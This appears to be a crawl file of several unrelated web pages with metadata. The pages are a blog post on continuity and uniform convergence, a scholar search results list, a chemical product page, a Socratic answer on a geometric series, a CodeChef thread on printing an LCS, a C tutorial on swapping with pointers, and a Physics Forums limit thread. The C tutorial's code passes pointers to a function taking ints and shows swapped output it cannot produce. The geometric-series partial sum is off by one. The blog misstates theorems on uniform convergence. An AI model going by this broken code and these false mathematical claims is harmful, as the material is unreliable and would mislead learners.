https://math.portonvictor.org/2020/01/27/continuity-as-convergence-of-sequences-expanding-our-definition-of-continuity/	[ "", null, "# Continuity as Convergence of Sequences—Expanding Our Definition of Continuity\n\nI feel that continuity is best understood when we consider convergence at different levels of abstraction. While it’s fairly easy to understand the continuity of functions when they’re defined in spaces like R2, with standards like:\n\n• The left hand limit must equal the right hand limit.\n• The function should have a finite value at each point throughout any given domain.\n\nDefinitions like the ones I’ve mentioned above are also called definitions of continuity derived out of point-wise convergence. In general, a point-wise convergence definition of continuity looks something like this:\n\nThere are other more rigorous definitions for continuity, one of the common definitions that’s taught in beginner level calculus classes is:\n\nAll the conceptual analysis set aside, there are problems with these point-wise definitions of continuity and convergence because they don’t preserve boundedness or the continuity of functions. Anyone who’s taken higher level functional analysis would know that there are much more general definitions of continuity, which aren’t counter-intuitive or downright false.\n\nThese are called uniform-convergence definitions of continuity.\n\n## Uniform Convergence and Continuity\n\nTo be precise, uniform convergence directly implies continuity of the function across any domain or subset of the domain. This definition doesn’t take into account convergence of the values of x, rather, it looks at the convergence of sequences of functions. Put simply, if you can show that the function in question belongs to a sequence of functions that converge uniformly across any domain, then the function is continuous across the entire domain as well. The formal definition is as follows:\n\nDefinition A: If a sequence {f\u001fn} of continuous functions fn: A→R converges uniformly on A⊂R to f: A→R, f is continuous on A.\n\nAs a method of proof, if you’re looking to prove that a certain function is continuous—all you need to prove is that the function in question belongs to a sequence of continuous functions on a domain A, which is a subset of the set of real numbers. Definition A, as I’ve written it above preserves the boundedness of sequences and preserves continuity in a way that’s not possible through the point-wise definition of convergence.\n\nThis definition A is a direct extension of Cauchy’s definition of uniform convergence, which is as follows:\n\nCauchy’s Definition of Uniform Convergence: A sequence {fn} of functions fn: A→ R is uniformly Cauchy on A if for every ε>0 there exists N∈N such that m, n>N implies that \|fm(x) −fn(x)\|<ε for all x∈ A.\n\nTo speak loosely, if the absolute difference between two successive functions belonging to the same sequence gets smaller, this implies that the sequence is converging. Assuming that such a convergence function exists, each function within the sequence is going to be continuous.\n\nIf you’re interested in studying continuity or the limits of functions, you should read Algebraic General Topology Volume 1. This book introduces my mathematical theory that generalizes limits across arbitrary discontinuous functions. As always, I’m open to new ideas and thoughts on my work and welcome open debate on any issue you find." ]	[ null, "https://i0.wp.com/math.portonvictor.org/wp-content/uploads/2020/01/Continuity-as-Convergence-of-Sequences-Expanding-Our-Definition-of-Continuity.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9094004,"math_prob":0.9518058,"size":3228,"snap":"2021-43-2021-49","text_gpt3_token_len":634,"char_repetition_ratio":0.1957196,"word_repetition_ratio":0.023715414,"special_character_ratio":0.18773234,"punctuation_ratio":0.086440675,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98244,"pos_list":[0,1,2],"im_url_duplicate_count":[null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-11-29T08:04:55Z\",\"WARC-Record-ID\":\"<urn:uuid:5f5ad737-d924-41ac-9f0a-202a8dbc5c6f>\",\"Content-Length\":\"76254\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c2fe59c3-29b7-47de-ab5c-b098f21f99e6>\",\"WARC-Concurrent-To\":\"<urn:uuid:ed4a4ba2-b749-45e6-a1a5-e19ff9c9f081>\",\"WARC-IP-Address\":\"104.236.49.103\",\"WARC-Target-URI\":\"https://math.portonvictor.org/2020/01/27/continuity-as-convergence-of-sequences-expanding-our-definition-of-continuity/\",\"WARC-Payload-Digest\":\"sha1:KSVQWOWISOZYQBVBI44DZVLMNAOLEBD5\",\"WARC-Block-Digest\":\"sha1:XJC2IMJ5BFYLD34QONPLNYSV5FLUBZ3Q\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964358702.43_warc_CC-MAIN-20211129074202-20211129104202-00601.warc.gz\"}"}
https://scholar.archive.org/search?q=Enumeration+and+maximum+number+of+minimal+dominating+sets+for+chordal+graphs.	[ "Filters\n\n512 Hits in 6.3 sec\n\n### Minimal dominating sets in graph classes: Combinatorial bounds and enumeration\n\nJean-François Couturier, Pinar Heggernes, Pim van 't Hof, Dieter Kratsch\n2013 Theoretical Computer Science\nThere is a graph on n vertices with 15 n/6 minimal dominating sets. This gives a lower bound of 1.5704 n for the maximum number of minimal dominating sets. ... This gives a lower bound of 1.5704 n for the maximum number of minimal dominating sets. Graph classes Our work is dealing with some well-known graph classes. ...\n\n### Enumerating minimal connected dominating sets in graphs of bounded chordality\n\nPetr A. Golovach, Pinar Heggernes, Dieter Kratsch\n2016 Theoretical Computer Science\nWe establish enumeration algorithms as well as lower and upper bounds for the maximum number of minimal connected dominating sets in such graphs. ... In particular, we present algorithms to enumerate all minimal connected dominating sets of chordal graphs in time O(1.7159 n ), of split graphs in time O(1.3803 n ), and of AT-free, strongly chordal, and ... In this paper we initiate the study of the enumeration and maximum number of minimal connected dominating sets in a given graph. ...\n\n### Enumeration of Enumeration Algorithms [article]\n\nKunihiro Wasa\n2016 arXiv pre-print\nIn this paper, we enumerate enumeration problems and algorithms. This survey is under construction. If you know some results not in this survey or there is anything wrong, please let me know. ... Reference 2.12.15 Enumeration of all minimal dominating sets in a chordal bipartite graph Input A chordal bipartite graph G. Output All minimal dominating sets in G. ... Reference 2.12.14 Enumeration of all minimal dominating sets in a P 6 -free chordal graph Input A P 6 -free chordal graph G = (V, E). Output All minimal dominating sets in G. ...\n\n### A Note on the Maximum Number of Minimal Connected Dominating Sets in a Graph [article]\n\nFaisal N. Abu-Khzam\n2021 arXiv pre-print\nThis improves the previously known lower bound of Ω(1.4422^n) and reduces the gap between lower and upper bounds for input-sensitive enumeration of minimal connected dominating sets in general graphs as ... We prove constructively that the maximum possible number of minimal connected dominating sets in a connected undirected graph of order n is in Ω(1.489^n). ... In this note we report an improved lower bound on the maximum number of minimal connected dominating sets in a graph. ...\n\n### A Polynomial Delay Algorithm for Enumerating Minimal Dominating Sets in Chordal Graphs [article]\n\nMamadou Moustapha Kanté and Vincent Limouzy and Arnaud Mary and Lhouari Nourine and Takeaki Uno\n2014 arXiv pre-print\nWe give a polynomial delay algorithm to list the set of minimal dominating sets in chordal graphs, an important and well-studied graph class where such an algorithm was open for a while. ... An output-polynomial algorithm for the listing of minimal dominating sets in graphs is a challenging open problem and is known to be equivalent to the well-known Transversal problem which asks for an output-polynomial ... For the enumeration of minimal dominating sets in chordal graphs the simplest strategy consists in following this ordering as follows. ...\n\n### A Polynomial Delay Algorithm for Enumerating Minimal Dominating Sets in Chordal Graphs [chapter]\n\nMamadou Moustapha Kanté, Vincent Limouzy, Arnaud Mary, Lhouari Nourine, Takeaki Uno\n2016 Lecture Notes in Computer Science\nWe give a polynomial delay algorithm to list the set of minimal dominating sets in chordal graphs, an important and well-studied graph class where such an algorithm was open for a while. ... An output-polynomial algorithm for the listing of minimal dominating sets in graphs is a challenging open problem and is known to be equivalent to the well-known Transversal problem which asks for an output-polynomial ... For the enumeration of minimal dominating sets in chordal graphs the simplest strategy consists in following this ordering as follows. ...\n\n### Minimal Dominating Sets in Graph Classes: Combinatorial Bounds and Enumeration [chapter]\n\nJean-François Couturier, Pinar Heggernes, Pim van't Hof, Dieter Kratsch\n2012 Lecture Notes in Computer Science\nFor several classes of graphs, we substantially improve the upper bound on the maximum number of minimal dominating sets in graphs on n vertices. ... For all considered graph classes, the upper bound proofs are constructive and can easily be transformed into algorithms enumerating all minimal dominating sets of the input graph. ... showed that all minimal dominating sets in a split graph G can be enumerated in time polynomial in the number of minimal dominating sets of G. ...\n\n### On the maximum number of minimal connected dominating sets in convex bipartite graphs [article]\n\n2019 arXiv pre-print\nOur algorithm implies a corresponding upper bound for the number of minimal connected dominating sets for this graph class. ... The enumeration of minimal connected dominating sets is known to be notoriously hard for general graphs. ... In this paper we study the enumeration and maximum number of minimal connected dominating sets in convex bipartite graphs, and we prove that the number of minimal connected dominating sets in a convex ...\n\n### Enumeration and maximum number of minimal connected vertex covers in graphs\n\nPetr A. Golovach, Pinar Heggernes, Dieter Kratsch\n2018 European journal of combinatorics (Print)\nFor graphs of bounded chordality, we are able to give a better upper bound, and for chordal graphs and distance-hereditary graphs we are able to give tight bounds on the maximum number of minimal connected ... In this paper we show that the maximum number of minimal connected vertex covers of a graph is O(1.8668 n ), and these can be enumerated in time O(1.8668 n ). ... Examples of such recent results, both on general graphs and on some graph classes, concern the enumeration and maximum number of minimal dominating sets, minimal feedback vertex sets, minimal subset feedback ...\n\n### Enumeration and Maximum Number of Minimal Connected Vertex Covers in Graphs [article]\n\nPetr A. Golovach, Pinar Heggernes, Dieter Kratsch\n2016 arXiv pre-print\nFor graphs of chordality at most 5, we are able to give a better upper bound, and for chordal graphs and distance-hereditary graphs we are able to give tight bounds on the maximum number of minimal connected ... In this paper we show that the maximum number of minimal connected vertex covers of a graph is at most 1.8668^n, and these can be enumerated in time O(1.8668^n). ... Examples of such recent results, both on general graphs and on some graph classes, concern the enumeration and maximum number of minimal dominating sets, minimal feedback vertex sets, minimal subset feedback ...\n\n### Subset feedback vertex sets in chordal graphs\n\nPetr A. Golovach, Pinar Heggernes, Dieter Kratsch, Reza Saei\n2014 Journal of Discrete Algorithms\nWe give an algorithm with running time O(1.6708 n ) that enumerates all minimal subset feedback vertex sets on chordal graphs on n vertices. ... We also obtain that a chordal graph G has at most 1.6708 n minimal subset feedback vertex sets, regardless of S . ... More recently, the maximum numbers and enumeration of objects like minimal dominating sets, minimal feedback vertex sets, minimal subset feedback vertex sets, minimal separators, and potential maximal ...\n\n### On the Neighbourhood Helly of Some Graph Classes and Applications to the Enumeration of Minimal Dominating Sets [chapter]\n\nMamadou Moustapha Kanté, Vincent Limouzy, Arnaud Mary, Lhouari Nourine\n2012 Lecture Notes in Computer Science\nAs a consequence, we obtain output-polynomial time algorithms for enumerating the set of minimal dominating sets of line graphs and path graphs. ... Therefore, there exists an output-polynomial time algorithm that enumerates the set of minimal edge-dominating sets of any graph. ... We denote by D(G) the set of (inclusionwise) minimal dominating sets of a graph G. ...\n\n### On Distance-d Independent Set and other problems in graphs with few minimal separators [article]\n\nPedro Montealegre, Ioan Todinca\n2016 arXiv pre-print\nWe also provide polynomial algorithms for Connected Vertex Cover and Connected Feedback Vertex Set on subclasses of including chordal and circular-arc graphs, and we discuss variants of independent domination ... Fomin and Villanger (STACS 2010) proved that Maximum Independent Set, Feedback Vertex Set, and more generally the problem of finding a maximum induced subgraph of treewith at most a constant t, can be ... We thank Iyad Kanj for fruitful discussions on the subject. ...\n\n### Counting the number of independent sets in chordal graphs\n\nYoshio Okamoto, Takeaki Uno, Ryuhei Uehara\n2008 Journal of Discrete Algorithms\nWe study some counting and enumeration problems for chordal graphs, especially concerning independent sets. ... With similar ideas, we show that enumeration (namely, listing) of the independent sets, the maximum independent sets, and the independent sets of a fixed size in a chordal graph can be done in constant ... Acknowledgement The authors thank Masashi Kiyomi for enlightening discussions and pointing out the work by Chang . The authors are grateful to L. Shankar Ram for pointing out a paper . ...\n\n### Weighted domination of independent sets [article]\n\nRon Aharoni, Irina Gorelik\n2017 arXiv pre-print\nThe independent domination number γ^i(G) of a graph G is the maximum, over all independent sets I, of the minimal number of vertices needed to dominate I. ... It is known abz that in chordal graphs γ^i is equal to γ, the ordinary domination number. ... We say that f is w-dominating if it w-dominates V . The independent domination number γ i w (G) is the maximum over all independent sets I of the minimal size of an integral function w-dominating I. ...\n« Previous Showing results 1 — 15 out of 512 results" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8282111,"math_prob":0.96017027,"size":10148,"snap":"2022-40-2023-06","text_gpt3_token_len":2459,"char_repetition_ratio":0.2121451,"word_repetition_ratio":0.31411532,"special_character_ratio":0.23541585,"punctuation_ratio":0.15896104,"nsfw_num_words":5,"has_unicode_error":false,"math_prob_llama3":0.9751792,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-10-03T09:39:23Z\",\"WARC-Record-ID\":\"<urn:uuid:e2094408-e142-436b-a203-069697c7b746>\",\"Content-Length\":\"121074\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:eed705e4-aca5-4cdb-a3f0-73ff3a781268>\",\"WARC-Concurrent-To\":\"<urn:uuid:063dd4d8-cefa-4fdf-940b-60a02d91920b>\",\"WARC-IP-Address\":\"207.241.225.9\",\"WARC-Target-URI\":\"https://scholar.archive.org/search?q=Enumeration+and+maximum+number+of+minimal+dominating+sets+for+chordal+graphs.\",\"WARC-Payload-Digest\":\"sha1:Y3D4E4M7RCKPPZWU2VEJTBI2XESYIXTK\",\"WARC-Block-Digest\":\"sha1:6NSOCES3YLHDTHWRVMTAF3TBPKSLUV7P\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030337404.30_warc_CC-MAIN-20221003070342-20221003100342-00729.warc.gz\"}"}
https://www.targetmol.com/compound/Indophagolin	[ "# Indophagolin\n\nCatalog No. T8946 CAS 1207660-00-1\n\nIndophagolin is a potent, indoline-containing autophagy inhibitor with IC50 of 140 nM. Indophagolin antagonizes the purinergic receptor P2X4 as well as P2X1 and P2X3 with IC50s of 2.71, 2.40 and 3.49 μM, respectively.\n\nAll products from TargetMol are for Research Use Only. Not for Human or Veterinary or Therapeutic Use.", null, "Indophagolin, CAS 1207660-00-1\nProduct consultation\nGet quote\nPurity: 98%\nBiological Description\nChemical Properties\nStorage & Solubility Information\n Description Indophagolin is a potent, indoline-containing autophagy inhibitor with IC50 of 140 nM. Indophagolin antagonizes the purinergic receptor P2X4 as well as P2X1 and P2X3 with IC50s of 2.71, 2.40 and 3.49 μM, respectively. Targets&IC50 P2X1:2.40μM , P2X3:3.49 μM , P2X4:2.71μM In vitro Indophagolin (10 μM) inhibits autophagosome formation in MCF7 cells.Indophagolin also antagonizes the Gq-protein-coupled P2Y4, P2Y6, and P2Y11 receptors (IC50s =3.4~15.4 μM). Indophagolin has a strong antagonistic effect on serotonin receptor 5-HT6 (IC50=1.0 μM) and a moderate effect on receptors 5-HT1B, 5-HT2B, 5-HT4e, and 5-HT7.\n Molecular Weight 523.75 Formula C19H15BrClF3N2O3S CAS No. 1207660-00-1\n\n#### Storage\n\nPowder: -20°C for 3 years\n\nIn solvent: -80°C for 2 years\n\n#### Solubility Information\n\nDMSO: 10 mM\n\n( < 1 mg/ml refers to the product slightly soluble or insoluble )\n\n## Related compound libraries\n\nThis product is contained In the following compound libraries：\n\n## Related Products\n\nRelated compounds with same targets\n\n##", null, "Dose Conversion\n\nYou can also refer to dose conversion for different animals. More\n\n##", null, "In vivo Formulation Calculator (Clear solution)\n\nStep One: Enter information below\nDosage\nmg/kg\nAverage weight of animals\ng\nDosing volume per animal\nul\nNumber of animals\nStep Two: Enter the in vivo formulation\n% DMSO\n%\n% Tween 80\n% ddH2O\n\n##", null, "Calculator\n\nMolarity Calculator\nDilution Calculator\nReconstitution Calculation\nMolecular Weight Calculator\n=\nX\nX\n\n### Molarity Calculator allows you to calculate the\n\n• Mass of a compound required to prepare a solution of known volume and concentration\n• Volume of solution required to dissolve a compound of known mass to a desired concentration\n• Concentration of a solution resulting from a known mass of compound in a specific volume\nSee Example\n\nAn example of a molarity calculation using the molarity calculator\nWhat is the mass of compound required to make a 10 mM stock solution in 10 ml of water given that the molecular weight of the compound is 197.13 g/mol?\nEnter 197.13 into the Molecular Weight (MW) box\nEnter 10 into the Concentration box and select the correct unit (millimolar)\nEnter 10 into the Volume box and select the correct unit (milliliter)\nPress calculate\nThe answer of 19.713 mg appears in the Mass box\n\nX\n=\nX\n\n### Calculator the dilution required to prepare a stock solution\n\nCalculate the dilution required to prepare a stock solution\nThe dilution calculator is a useful tool which allows you to calculate how to dilute a stock solution of known concentration. Enter C1, C2 & V2 to calculate V1.\n\nSee Example\n\nAn example of a dilution calculation using the Tocris dilution calculator\nWhat volume of a given 10 mM stock solution is required to make 20ml of a 50 μM solution?\nUsing the equation C1V1 = C2V2, where C1=10 mM, C2=50 μM, V2=20 ml and V1 is the unknown:\nEnter 10 into the Concentration (start) box and select the correct unit (millimolar)\nEnter 50 into the Concentration (final) box and select the correct unit (micromolar)\nEnter 20 into the Volume (final) box and select the correct unit (milliliter)\nPress calculate\nThe answer of 100 microliter (0.1 ml) appears in the Volume (start) box\n\n=\n/\n\n### Calculate the volume of solvent required to reconstitute your vial.\n\nThe reconstitution calculator allows you to quickly calculate the volume of a reagent to reconstitute your vial.\nSimply enter the mass of reagent and the target concentration and the calculator will determine the rest.\n\ng/mol\n\n### Enter the chemical formula of a compound to calculate its molar mass and elemental composition\n\nTip: Chemical formula is case sensitive: C10H16N2O2 c10h16n2o2\n\nInstructions to calculate molar mass (molecular weight) of a chemical compound:\nTo calculate molar mass of a chemical compound, please enter its chemical formula and click 'Calculate'.\nDefinitions of molecular mass, molecular weight, molar mass and molar weight:\nMolecular mass (molecular weight) is the mass of one molecule of a substance and is expressed n the unified atomic mass units (u). (1 u is equal to 1/12 the mass of one atom of carbon-12)\nMolar mass (molar weight) is the mass of one mole of a substance and is expressed in g/mol.\n\nbottom\n\n## Tech Support\n\nPlease see Inhibitor Handling Instructions for more frequently ask questions. Topics include: how to prepare stock solutions, how to store products, and cautions on cell-based assays & animal experiments, etc." ]	[ null, "https://www.targetmol.cn/file/group1/M00/cassfile/1207660-00-1.png", null, "https://www.targetmol.com/images/icons2/calculator.svg", null, "https://www.targetmol.com/images/icons2/calculator.svg", null, "https://www.targetmol.com/images/icons2/calculator.svg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.7763908,"math_prob":0.92827445,"size":1637,"snap":"2023-14-2023-23","text_gpt3_token_len":578,"char_repetition_ratio":0.13288426,"word_repetition_ratio":0.3043478,"special_character_ratio":0.29260844,"punctuation_ratio":0.153125,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9598929,"pos_list":[0,1,2,3,4,5,6,7,8],"im_url_duplicate_count":[null,1,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-05T16:39:52Z\",\"WARC-Record-ID\":\"<urn:uuid:e3da06ed-f3bd-455f-9192-ac3a323a265c>\",\"Content-Length\":\"117841\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:6a53bd99-7462-4a65-b91d-00b4439bd805>\",\"WARC-Concurrent-To\":\"<urn:uuid:7a908866-62c1-4a7c-8a48-fdc79415e9fb>\",\"WARC-IP-Address\":\"128.14.246.10\",\"WARC-Target-URI\":\"https://www.targetmol.com/compound/Indophagolin\",\"WARC-Payload-Digest\":\"sha1:N6UOT33NCRDNNDYR5UN6EGXSQA5NMPMN\",\"WARC-Block-Digest\":\"sha1:D5CYCQLLNI5CIVFTI5KRH63KY7QHC4XY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224652149.61_warc_CC-MAIN-20230605153700-20230605183700-00298.warc.gz\"}"}
https://socratic.org/questions/how-do-you-find-the-nth-partial-sum-determine-whether-the-series-converges-and-f-2	[ "# How do you find the nth partial sum, determine whether the series converges and find the sum when it exists given 1+3/4+9/16+...+(3/4)^n+...?\n\nJun 8, 2018\n\n${\\sum}_{k = 0}^{n} {\\left(\\frac{3}{4}\\right)}^{k} = 4 - 3 {\\left(\\frac{3}{4}\\right)}^{n - 1}$\n\n${\\sum}_{k = 0}^{\\infty} {\\left(\\frac{3}{4}\\right)}^{k} = 4$\n\n#### Explanation:\n\nThis is a geometric series of ratio $q = \\frac{3}{4}$.\n\nConsider the series:\n\n${\\sum}_{k = 0}^{\\infty} {q}^{k}$\n\nand its partial sum:\n\n${s}_{n} = {\\sum}_{k = 0}^{n} {q}^{k} = 1 + q + {q}^{2} + \\ldots + {q}^{n} = \\frac{{q}^{n + 1} - 1}{q - 1}$\n\nThen, if $\\left\\mid q \\right\\mid < 1$:\n\n${\\lim}_{n \\to \\infty} {s}_{n} = {\\lim}_{n \\to \\infty} \\frac{{q}^{n + 1} - 1}{q - 1} = \\frac{1}{1 - q}$\n\nFor $q = \\frac{3}{4}$:\n\n${s}_{n} = \\frac{{\\left(\\frac{3}{4}\\right)}^{n} - 1}{\\frac{3}{4} - 1} = \\frac{{3}^{n} - {4}^{n}}{{4}^{n} \\left(- \\frac{1}{4}\\right)} = \\frac{{4}^{n} - {3}^{n}}{4} ^ \\left(n - 1\\right) = 4 - 3 {\\left(\\frac{3}{4}\\right)}^{n - 1}$\n\nand:\n\n${\\sum}_{k = 0}^{\\infty} {\\left(\\frac{3}{4}\\right)}^{k} = 4$" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.6513842,"math_prob":1.00001,"size":400,"snap":"2021-43-2021-49","text_gpt3_token_len":108,"char_repetition_ratio":0.11363637,"word_repetition_ratio":0.0,"special_character_ratio":0.2725,"punctuation_ratio":0.16091955,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000094,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-01T12:27:23Z\",\"WARC-Record-ID\":\"<urn:uuid:f2463b13-03d2-4b9c-b9e1-ffe1ba6babf4>\",\"Content-Length\":\"34364\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f1e56f65-b7d5-4078-8b32-59a0a3d6c85f>\",\"WARC-Concurrent-To\":\"<urn:uuid:1ca7cc81-b484-4545-a155-4a33f07e29fb>\",\"WARC-IP-Address\":\"216.239.32.21\",\"WARC-Target-URI\":\"https://socratic.org/questions/how-do-you-find-the-nth-partial-sum-determine-whether-the-series-converges-and-f-2\",\"WARC-Payload-Digest\":\"sha1:2VAZIENYFDADPGCKRXZVDUETER4CS4P6\",\"WARC-Block-Digest\":\"sha1:OYQYLM7SXQVKYWHDSCTHTCK2T3UZY3AE\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964360803.0_warc_CC-MAIN-20211201113241-20211201143241-00413.warc.gz\"}"}
https://discuss.codechef.com/t/elements-of-lcs/10348	[ "", null, "# ELEMENTS OF LCS\n\nI have recently learnt how to find the length of the longest common subsequence of two strings, but cannot understand how can I print the elements of the LCS. For example, if the strings are “AASDGX” and “AAWD”, then the output will be “AAD” Please help!\n\n#include\n#include\n#include\nusing namespace std;\n\n``````/* Returns length of LCS for X[0..m-1], Y[0..n-1] /\nvoid lcs( char X, char Y, int m, int n )\n{\nint L[m+1][n+1];\n\n/ Following steps build L[m+1][n+1] in bottom up fashion. Note\nthat L[i][j] contains length of LCS of X[0..i-1] and Y[0..j-1] */\nfor (int i=0; i<=m; i++)\n{\nfor (int j=0; j<=n; j++)\n{\nif (i == 0 \|\| j == 0)\nL[i][j] = 0;\nelse if (X[i-1] == Y[j-1])\nL[i][j] = L[i-1][j-1] + 1;\nelse\nL[i][j] = max(L[i-1][j], L[i][j-1]);\n}\n}\n\n// Following code is used to print LCS\nint index = L[m][n];\n\n// Create a character array to store the lcs string\nchar lcs[index+1];\nlcs[index] = '\\0'; // Set the terminating character\n\n// Start from the right-most-bottom-most corner and\n// one by one store characters in lcs[]\nint i = m, j = n;\nwhile (i > 0 && j > 0)\n{\n// If current character in X[] and Y are same, then\n// current character is part of LCS\nif (X[i-1] == Y[j-1])\n{\nlcs[index-1] = X[i-1]; // Put current character in result\ni--; j--; index--; // reduce values of i, j and index\n}\n\n// If not same, then find the larger of two and\n// go in the direction of larger value\nelse if (L[i-1][j] > L[i][j-1])\ni--;\nelse\nj--;\n}\n\n// Print the lcs\ncout << \"LCS of \" << X << \" and \" << Y << \" is \" << lcs;\n}\n\nint main()\n{\nchar X[] = \"AASDGX\";\nchar Y[] = \"AAWD\";\n\nint m = strlen(X);\nint n = strlen(Y);\n\nlcs(X, Y, m, n);\n\nreturn 0;\n}\n``````\n\n@anupam_datta welcome", null, "" ]	[ null, "https://s3.amazonaws.com/discourseproduction/original/3X/7/f/7ffd6e5e45912aba9f6a1a33447d6baae049de81.svg", null, "https://discuss.codechef.com/images/emoji/apple/slight_smile.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.74997973,"math_prob":0.99241066,"size":1699,"snap":"2020-34-2020-40","text_gpt3_token_len":593,"char_repetition_ratio":0.09852508,"word_repetition_ratio":0.0,"special_character_ratio":0.40317833,"punctuation_ratio":0.13681592,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9983371,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-23T03:07:22Z\",\"WARC-Record-ID\":\"<urn:uuid:e6102e41-28de-445d-bb67-92fca130c6d7>\",\"Content-Length\":\"21164\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d25fac83-0e0d-4f1a-8317-b8a8477120f4>\",\"WARC-Concurrent-To\":\"<urn:uuid:ae3d80d4-2ea8-4100-8834-d70fa1be9cf9>\",\"WARC-IP-Address\":\"52.54.40.124\",\"WARC-Target-URI\":\"https://discuss.codechef.com/t/elements-of-lcs/10348\",\"WARC-Payload-Digest\":\"sha1:XJQCJA3WVSZYD56OJPKKAMCJAKWAWBX4\",\"WARC-Block-Digest\":\"sha1:QVRD2AKFMMKJBF7ACSOVSKWYMOGK3G22\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400209665.4_warc_CC-MAIN-20200923015227-20200923045227-00703.warc.gz\"}"}
https://www.nba-india.org/2023/04/01/c-program-to-swap-two-numbers-using-pointer/	[ "# C Program to Swap Two Numbers using Pointer\n\nIn this tutorial, i am going to show you how to swap two numbers with the help of pointer in c program.\n\n## C Program to Swap Two Numbers using Pointer\n\n```#include <stdio.h>\nvoid swapTwo(int x, int y)\n{\nint temp;\ntemp = x;\nx = y;\ny = temp;\n}\nint main()\n{\nint num1, num2;\nprintf(\"Please Enter the First Value to Swap = \");\nscanf(\"%d\", &num1);\nprintf(\"Please Enter the Second Value to Swap = \");\nscanf(\"%d\", &num2);\nprintf(\"\\nBefore Swapping: num1 = %d num2 = %d\\n\", num1, num2);\n\nswapTwo(&num1, &num2);\nprintf(\"After Swapping : num1 = %d num2 = %d\\n\", num1, num2);\n}```\n\nThe result of the above c program; is as follows:\n\n```Please Enter the First Value to Swap = 5\nPlease Enter the Second Value to Swap = 6\nBefore Swapping: num1 = 5 num2 = 6\nAfter Swapping : num1 = 6 num2 = 5```\n\nCategories C" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.61252415,"math_prob":0.99919695,"size":766,"snap":"2023-14-2023-23","text_gpt3_token_len":239,"char_repetition_ratio":0.13517061,"word_repetition_ratio":0.16783217,"special_character_ratio":0.3537859,"punctuation_ratio":0.18181819,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9871882,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-05T07:13:37Z\",\"WARC-Record-ID\":\"<urn:uuid:86881a4b-98e7-488f-b6e4-4981718ee0d2>\",\"Content-Length\":\"49374\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:31f98946-1058-45ff-a519-036a2108381a>\",\"WARC-Concurrent-To\":\"<urn:uuid:2d19698a-5dc3-4097-8447-1522fc05abef>\",\"WARC-IP-Address\":\"104.21.80.19\",\"WARC-Target-URI\":\"https://www.nba-india.org/2023/04/01/c-program-to-swap-two-numbers-using-pointer/\",\"WARC-Payload-Digest\":\"sha1:IXKT6GQXN4OFXRNQC6QPLCAVF7VZQZG4\",\"WARC-Block-Digest\":\"sha1:7GGKJTMM5HFTSO4B5CFKBN2VIR64R34D\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224651325.38_warc_CC-MAIN-20230605053432-20230605083432-00484.warc.gz\"}"}
https://www.physicsforums.com/threads/nested-square-roots-limit.285577/	[ "# Nested square roots limit\n\n## Homework Statement", null, "## The Attempt at a Solution\n\nRelated Calculus and Beyond Homework Help News on Phys.org\nDick\nHomework Helper\n\nIt's more awkward to write than hard.\nsqrt(x+sqrt(x))=sqrt(x)sqrt(1+1/sqrt(x)). Now pull a sqrt(x) out of the outer sqrt so you've got sqrt(x+sqrt(x+sqrt(x)))=sqrt(x)(1+(1/sqrt(x))sqrt(1+1/sqrt(x))). The denominator is sqrt(x)sqrt(1+1/x). Now cancel the sqrt(x) on the outside and take the limit. If you can read that I congratulate you. I THINK I got it right.\n\nThe answer is 1... but how did you came up with the equivalent equation for the numerator? :(\n\nDefennder\nHomework Helper\n\nIt's probably advisable not to use L'hospital because of the nested square roots. Instead, follow what Dick said (I'm hoping I did it the same way he did because I didn't read his post in detail) and start by pulling out all the square roots by making sure that the denominator and numerator share the same square root over the entire expresion.\n\nThen apply that technique inside the nested root. It'll all simplify to something which you can evaluate the limit to.\n\nDick\nHomework Helper\n\nIt's probably advisable not to use L'hospital because of the nested square roots. Instead, follow what Dick said (I'm 